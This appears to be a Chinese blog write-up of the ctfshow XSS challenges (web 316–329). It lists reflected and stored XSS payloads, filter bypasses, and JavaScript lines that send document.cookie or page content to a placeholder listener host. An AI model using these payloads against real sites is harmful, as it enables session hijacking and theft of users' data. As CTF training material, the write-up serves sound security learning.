您当前的位置: 首页 > 

Snakin_ya

暂无认证

  • 2浏览

    0关注

    107博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

ctfshow—XSS

Snakin_ya 发布时间:2022-02-05 14:27:06 ,浏览量:2

web 316(反射型)

测试alert(1),无过滤

在服务器上开启监听

python3 -m http.server 39543

外带数据:

location.href="http://x.xx.xx.xx:39543/"+document.cookie
window.location.href="http://x.xx.xx.xx:39543/"+document.cookie
window.open('http://x.xx.xx.xx:39543'+document.cookie)

img标签


svg标签


body标签


iframe标签


web 317(反射型)

过滤了script标签,利用img标签


web 318(反射型)

使用svg标签


web 319(反射型)

使用body标签


web 320-326(反射型)

过滤了空格,用/或者水平制表符绕过


web 327(存储型)

无过滤,注意收件人是admin

image-20220122170534716

web 328(存储型)

构造用户名触发存储型XSS盗取管理员cookie,伪造管理员

注册:

image-20220122174118611

监听:

image-20220122174155539

再替换原来的cookie,访问用户管理界面即可

web 329(存储型)

此题之后,设置了在把cookie发送给你之前就失效了,所以需要用其他方式获取页面元素

location.href="http://x.xx.xx.xx:39543/"+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML

或者自己搭建:

test.js

var img = new Image();
img.src = "http://your-domain/cookie.php?q="+document.querySelector('#top > div.layui-container > div    :nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;
document.body.append(img);

cookie.php

            
关注
打赏
1650510800
查看更多评论
0.0375s